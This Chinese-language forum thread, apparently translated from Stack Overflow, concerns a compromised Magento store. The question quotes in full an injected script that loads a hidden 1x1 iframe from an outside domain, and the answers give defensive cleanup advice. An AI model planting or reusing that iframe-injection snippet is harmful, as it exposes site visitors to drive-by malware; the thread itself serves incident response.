1

我的客户今天打电话给我,告诉我后端的某些功能突然停止工作。快速浏览后,我发现该网站在最后一个 html 标记下方包含恶意代码。这是代码:

<script type="text/javascript">     
    (function () {
        var zg = document.createElement('iframe');
        zg.src = 'http://impactrl.de/chat/esd.php';
        zg.style.position = 'absolute';
        zg.style.border = '0';    zg.style.height = '1px';
        zg.style.width = '1px';    zg.style.left = '1px';
        zg.style.top = '1px';
        if (!document.getElementById('zg')) {
            document.write('<div id=\'zg\'></div>');
            document.getElementById('zg').appendChild(zg);
        }})();
</script>

我的客户还告诉我,他下载了一些软件,可以让他在桌面上运行他的商店。我敢打赌,这就是问题所在。

但是,我想摆脱那段代码,但我在任何文件中都找不到它。它在所有后端和前端页面上。

有谁知道我必须查看哪个文件?

4

4 回答 4

1

在客户的页面上有完全相同的问题,它被JS/BlacoleRef.F.3感染了。我也没有使用 Magento,所以我猜这个问题与它无关。所以我刚刚恢复了损坏的 HTML 文件,它现在显然可以工作了。

于 2012-12-11T18:05:26.083 回答
1

这是一个更大的问题。如果您在您的网站中发现了从未知服务器中提取资源的未知代码,那么您就有了安全问题。安全问题已经够糟糕的消息了,但在从事电子商务的网站上却是完全不可接受的情况。

此时唯一安全的做法是擦除服务器并从头开始安装。确保您使用的是最新且完全打补丁的操作系统、Apache、PHP 和 Magento 安装。

如果你有备份(我希望你有),一个好的开始可能是在出现任何问题之前进行备份。使您的服务器脱机,恢复备份,然后将所有组件更新到最新版本。只有这样才能安全地使服务器重新联机。

于 2012-12-11T15:17:20.877 回答
1

这是一个很好的例子,说明为什么您经常并且总是备份您网站的代码库和数据库。实际上,如果您不知道代码来自哪里,您也不知道是否有多个插入点和其他东西弄乱了。更改所有登录和访问凭据(ssh、ftp、mysql、cPanel、用于维护的计算机(良好的站点破解从家里开始,扫描恶意软件),清除系统并重新安装。

将其搁置为 100% 事后诸葛亮,如果您正在寻找它的来源:

第一步是grepman grep在您的 ssh 提示符下获取有关使用说明grep)您的代码库(基本上是任何文本文件,而不仅仅是 Magento 的,任何内容都可以从服务器上的任何位置包含)。您不仅要寻找在漏洞利用中发现的字符串,还要寻找插入混淆代码的迹象,因为大多数网站破解者希望代码的寿命更长一些。越不明显和容易找到越好。

第二步是diff针对新代码库,如果此站点接近库存,您可以在单独的文件夹中安装您正在运行的 Magento 版本的新解压缩,然后diff在实时安装和新安装之间的主目录上执行代码库来查找所有不同的文件。Inchoo 有一篇关于使用 grep 查找代码差异的文章。使用的基本命令也适用于diff -qrbB contaminated\code\location fresh\code\locationdiff定义模板的旧存储副本。

第三步是考虑它可能不在任何模板文件中。您正在查看一个受损登录,其中有人使用后端将代码放入用于代码包含的几个页面配置文本区域之一,添加了一个 CMS 块,然后引用它,通过驱动器将其放入系统- 通过代码插入,将某些内容插入到数据库中以包含来自另一个网站的 XSS 代码,或者如果您有外部暴露的 MySQL 端口,拥有数据库登录凭据并且可以随意插入任何内容。进行数据库转储并grep为字符串输入 SQL 代码又是另一种查找这些的工具。

于 2012-12-11T16:39:16.397 回答
0

你一定要找到一种方法来防止它被插入到 DOM 中!在 Chrome 中,您在 Inspector 中有一个很好的资源概览。

为了安全起见,您可以检查页面中的其他 iframe,并添加一些 common.css #zg{ display: none; }。或者,

如果你有多个 iFrame,你可以使用 JS 并document.getElementsByTagName("IFRAME")循环使用它们,然后删除具有指定 src 值的那个。

更新:
Chrome 会验证这是否已添加到每个 JS 文件中。我解释为它是从服务器发送的。我不相信它与JS相关。

在此处输入图像描述

于 2012-12-11T15:09:35.100 回答